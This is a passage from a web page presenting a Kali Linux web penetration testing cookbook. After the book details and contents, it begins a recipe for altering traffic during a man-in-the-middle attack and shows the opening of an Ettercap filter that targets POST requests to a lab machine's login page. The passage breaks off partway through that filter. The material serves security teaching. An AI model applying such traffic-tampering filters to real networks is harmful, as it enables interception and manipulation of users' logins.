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Kali Linux Web Penetration Testing Cookbook

You're reading from   Kali Linux Web Penetration Testing Cookbook Over 80 recipes on how to identify, exploit, and test web application security with Kali Linux 2

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Product type Paperback
Published in Feb 2016
Publisher
ISBN-13 9781784392918
Length 296 pages
Edition 1st Edition
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Author (1):
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Gilberto Najera-Gutierrez Gilberto Najera-Gutierrez
Author Profile Icon Gilberto Najera-Gutierrez
Gilberto Najera-Gutierrez
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Toc

Table of Contents (12) Chapters Close

Preface 1. Setting Up Kali Linux FREE CHAPTER 2. Reconnaissance 3. Crawlers and Spiders 4. Finding Vulnerabilities 5. Automated Scanners 6. Exploitation – Low Hanging Fruits 7. Advanced Exploitation 8. Man in the Middle Attacks 9. Client-Side Attacks and Social Engineering 10. Mitigation of OWASP Top 10 Index

Modifying data between the server and the client


When performing a MITM attack, we are able not only to listen to everything being sent between the victim systems but also to modify requests and responses and, thus, make them behave as we want.

In this recipe, we will use Ettercap filters to detect whether or not a packet contains the information we are interested in and to trigger the change operations.

Getting ready

We need to have MITM working before starting this recipe.

How to do it...

  1. Our first step is to create a filter file. Save the following code in a text file (we will call it regex-replace-filter.filter) as is shown here:

    # If the packet goes to vulnerable_vm on TCP port 80 (HTTP)
    if (ip.dst == '192.168.56.102'&& tcp.dst == 80) {
        # if the packet's data contains a login page
        if (search(DATA.data, "POST")){
            msg("POST request");
            if (search(DATA.data, "login.php") ){
                msg("Call to login page");
                # Will change content's length to prevent...
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